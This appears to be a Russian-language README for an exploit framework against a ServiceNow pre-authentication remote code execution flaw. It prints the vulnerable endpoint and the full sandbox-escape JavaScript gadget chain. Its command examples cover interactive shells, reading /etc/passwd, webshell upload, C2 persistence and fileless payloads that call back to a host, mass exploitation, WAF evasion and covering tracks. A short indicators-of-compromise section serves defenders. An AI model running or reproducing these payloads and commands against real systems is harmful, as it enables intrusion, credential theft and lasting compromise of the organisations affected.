CVE-2026-6875 — Эксплойт-фреймворк и верификатор PoC для Pre-Auth RCE в ServiceNow 🔥

Платформа ServiceNow AI — внедрение JavaScript → обход песочницы → RCE → повышение привилегий до root

Эксплойт-фреймворк и безопасный верификатор
Только для авторизованного тестирования безопасности.

⚖️ Правовой дисклеймер и ответственное использование

Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования на проникновение.

Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Пользователи несут единоличную ответственность за получение явного письменного разрешения от владельца цели перед тестированием. Несанкционированный доступ к компьютерным системам является незаконным согласно Закону о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичным законам по всему миру.

Используя данное программное обеспечение, вы соглашаетесь:

• Использовать его только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение.
• Соблюдать все применимые местные, государственные и федеральные законы.
• Не использовать его для любых вредоносных, разрушительных или противоправных действий.

⚠️ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость активно эксплуатируется в дикой природе. Несанкционированное использование может привести к серьёзным правовым последствиям.

🔥 Обзор уязвимости

CVE-2026-6875 — это критическая уязвимость неаутентифицированного удалённого выполнения кода (RCE) в платформе ServiceNow AI (ранее Now Platform). Она позволяет злоумышленникам обойти песочницу сценариев и выполнять произвольные системные команды с привилегиями приложения ServiceNow.

Как это работает:

1. Внедрение JavaScript: конечная точка assessment_thanks.do принимает параметр sysparm_assessable_type. Добавляя к значению префикс javascript:, злоумышленник внедряет произвольный JavaScript-код.

2. Обход песочницы: изощрённый гаджет обхода песочницы (объединяющий DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor и Class.create) снимает ограничения JavaScript-песочницы.

3. Удалённое выполнение кода: внедрённый Java-код (через java.lang.Runtime.exec()) выполняется с привилегиями приложения ServiceNow, что обеспечивает полную компрометацию системы.

4. Повышение привилегий: модули постэксплуатации пытаются повысить привилегии до root через неправильные конфигурации sudo, SUID-бинарии, доступные для записи задания cron или эксплойты ядра.

Ключевые факты:

🛠️ Эксплойт-фреймворк (exploit.py)

Полнофункциональный боевой эксплойт объединяет внедрение JavaScript и обход песочницы для достижения удалённого выполнения кода, с расширенными модулями постэксплуатации для закрепления, горизонтального перемещения и извлечения учётных данных.

✨ Возможности

Команды интерактивной оболочки

🕵️ Безопасный верификатор (verifier.py)

Безопасный верификатор выполняет ненавязчивое обнаружение уязвимости без выполнения вредоносных полезных нагрузок и без внесения изменений в систему.

✨ Возможности

📦 Установка и требования

Предварительные требования

• Python 3.6+
• pip (для библиотеки requests)

Установка зависимостей

pip install requests urllib3

[!NOTE] exploit.py использует только стандартную библиотеку для основной функциональности; requests требуется лишь для функции --detect, --webhook-уведомлений и безопасного верификатора.

🚀 Примеры использования

[1] Безопасный верификатор (verifier.py)

# Single target verification
python verifier.py -u 192.168.1.100

# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# Mass scan from file
python verifier.py -l targets.txt -o results.json

# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q

# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60

# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] Эксплойт-фреймворк (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc

# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp

# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean

# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090

# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass

# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls

# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0

🎯 Затронутые версии

⚠️ Важно: облачные экземпляры ServiceNow автоматически получают исправления. Эта уязвимость в первую очередь затрагивает самостоятельно размещаемые развёртывания.

🧠 Технический разбор

1. Внедрение JavaScript (CVE-2026-6875)

Уязвимость находится в конечной точке assessment_thanks.do, которая принимает параметр sysparm_assessable_type. При передаче значения, начинающегося с javascript:, платформа выполняет последующий JavaScript в контексте системы.

Уязвимая конечная точка:

POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')

2. Гаджет обхода песочницы

Внедрённый код изначально ограничен песочницей. Однако, эксплуатируя следующую цепочку:

javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
  a,"",DiscoveryFunctions.getFirstValueFromTable(
    a,"",DiscoveryFunctions.getFirstValueFromTable(
      a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);

Песочница обходится, предоставляя полный доступ к Java-классам, таким как java.lang.Runtime.

3. Модули постэксплуатации

Извлечение учётных данных

Ищет пароли, API-ключи и секреты в файлах .properties, .xml, .conf:

• /opt/ServiceNow/conf/*.xml
• /var/log/ServiceNow/*.log
• /etc/passwd, /etc/shadow

Закрепление

Устанавливает бэкдоры через:

• Linux: задания cron (*/5 * * * *), службы systemd, SSH-ключи
• Windows: запланированные задачи (schtasks), ключи автозапуска в реестре

Горизонтальное перемещение

Сканирует локальную подсеть на предмет других экземпляров ServiceNow или SSH-хостов, повторно использует обнаруженные учётные данные.

Безфайловое выполнение

Компилирует Java-класс на лету, загружает его через ClassLoader и выполняет в памяти (без записи на диск).

Методы обхода WAF

1. Двойное URL-кодирование
2. JavaScript-комментарии ({/*comment*/})
3. Unicode-экранирование (\u0077 для w)
4. Внедрение пробелов
5. Разбиение ключевых слов (ne\u0077 для new)
6. Случайный выбор метода

🔍 Индикаторы компрометации (IoCs)

Анализ журналов

Проверьте журналы ServiceNow на наличие:

• extraweb_access.log — запросы к /assessment_thanks.do с sysparm_assessable_type, содержащим:
  • javascript:
  • строки в base64-кодировке
  • DiscoveryFunctions.getCacheObjectForTable
  • AbstractAjaxProcessor

Файловая система

• Неожиданные файлы в /var/tmp/ (например, shell.jsp, .sh-сценарии)
• Изменённые /etc/passwd, /etc/shadow или ~/.ssh/authorized_keys
• Новые задания cron (crontab -l)
• Новые службы systemd (/etc/systemd/system/)

Процессы

• Подозрительные процессы (/bin/bash -i, nc, curl, wget, python -c)
• Неожиданные сетевые подключения к внешним IP-адресам

Сеть

• Исходящие подключения от сервера ServiceNow к неавторизованным IP-адресам
• Подключения reverse shell на необычных портах

📚 Ссылки

• NVD - CVE-2026-6875
• ServiceNow Security Advisory (KB3137947)
• CISA KEV Catalog
• Searchlight Cyber – Technical Write‑up
• The Hacker News – ServiceNow Zero‑Day Exploited

🔗 Другие эксплойты

[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework

[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit

[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit

[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit